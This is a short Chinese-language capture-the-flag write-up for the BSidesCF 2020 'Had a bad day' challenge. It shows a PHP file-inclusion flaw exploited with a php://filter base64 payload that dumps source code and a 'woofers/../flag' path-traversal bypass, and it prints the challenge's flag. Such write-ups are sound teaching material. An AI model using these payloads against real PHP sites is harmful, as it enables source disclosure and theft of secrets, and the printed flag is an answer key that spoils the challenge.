[BSidesCF 2020]Had a bad day1

题目

这里有传参

文件包含使用伪协议读取flag

先读取index.php查看

复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=index

解码

index.php源码

php 复制代码
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php

尝试直接读取/index.php?category=woofers/../flag

php 复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

解码

拿下flag

flag{85254eba-a050-49cd-a3be-4e9859e51241}

相关推荐
weixin_443478514 分钟前
flutter组件学习之Stack 组件详解
学习·flutter
梦里1米826 分钟前
大模型的使用和Prompt-Tuning学习笔记
笔记·学习·prompt
小雨凉如水37 分钟前
flutter 基础组件学习
学习·flutter
云边散步37 分钟前
godot2D游戏教程系列二(11)
笔记·学习·游戏·游戏开发
试试勇气1 小时前
Linux学习笔记(十六)--进程信号
linux·笔记·学习
云边散步1 小时前
godot2D游戏教程系列二(8)
笔记·学习·游戏·游戏开发
xhyyvr1 小时前
VR科普学习一体机|开启智慧安全教育新时代
学习·安全·vr
Ama_tor1 小时前
FLASK|完整版学习(ALL)
python·学习·flask
航Hang*1 小时前
第2章:进阶Linux系统——第1节:配置与管理Samba服务器
linux·运维·服务器·笔记·学习
HyperAI超神经1 小时前
在线教程丨免费CPU资源快速部署,覆盖Qwen3.5/DeepSeek-R1/Gemma 3/Llama 3.2等热门开源模型
人工智能·深度学习·学习·机器学习·ai编程·llama·vllm